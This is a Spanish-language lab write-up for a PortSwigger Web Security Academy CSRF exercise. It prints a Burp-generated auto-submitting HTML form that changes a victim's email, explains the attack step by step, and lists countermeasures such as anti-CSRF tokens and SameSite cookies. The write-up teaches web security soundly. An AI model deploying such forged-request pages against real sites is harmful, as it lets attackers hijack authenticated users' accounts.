01 - CSRF vulnerability with no defenses
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0af1003204ed36278037993200510081.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Este código HTML es un ejemplo de un ataque de Cross-Site Request Forgery (CSRF) generado por Burp Suite para intentar cambiar la dirección de correo electrónico de un usuario en una aplicación web vulnerable.
Explicación del Código:
-
Formulario HTML:
<form action="https://0af1003204ed36278037993200510081.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="test@test.com" /> <input type="submit" value="Submit request" /> </form>action: La URL apunta a un endpoint específico que cambia el correo electrónico del usuario.method="POST": Envía los datos usando el método POST, que es el método requerido para hacer cambios en algunos sitios web.inputescondido: El campoemailtiene un valor codificado en HTML (test@test.com, que equivale atest@test.com). Este valor es el que se enviará en la solicitud, intentando cambiar el correo electrónico del usuario que visite esta página.
-
Script para Enviar Automáticamente el Formulario:
<script> history.pushState('', '', '/'); document.forms[0].submit(); </script>history.pushState('', '', '/');oculta la URL de destino del historial del navegador.document.forms[0].submit();envía el formulario automáticamente cuando se carga la página, sin intervención del usuario.
Antes de enviarse se oculta del historial para que no se sepa a donde se ha entrado.
¿Cómo Funciona el Ataque?
Este tipo de ataque CSRF funciona así:
- Si un usuario autenticado visita esta página maliciosa, el formulario se enviará automáticamente a la URL de destino.
- El navegador del usuario incluye automáticamente las cookies de autenticación en la solicitud a
change-email, ya que es una petición hacia el mismo dominio donde el usuario está autenticado. - Si el servidor no tiene protección CSRF (como tokens anti-CSRF), el cambio de correo electrónico se procesará usando las credenciales del usuario, sin que el usuario haya autorizado conscientemente el cambio.
Contramedidas:
Para protegerse contra ataques CSRF, es importante implementar medidas como:
- Tokens anti-CSRF: Cada solicitud de cambio de estado (POST, PUT, DELETE) debe incluir un token CSRF que el servidor valida.
- Verificación de Referer/Origen: Asegurarse de que la solicitud provenga de la misma aplicación (aunque esto no es completamente seguro por sí solo).
- Cookies SameSite: Configurar las cookies de sesión como
SameSite=strictoSameSite=laxpara evitar que se envíen en solicitudes de sitios cruzados.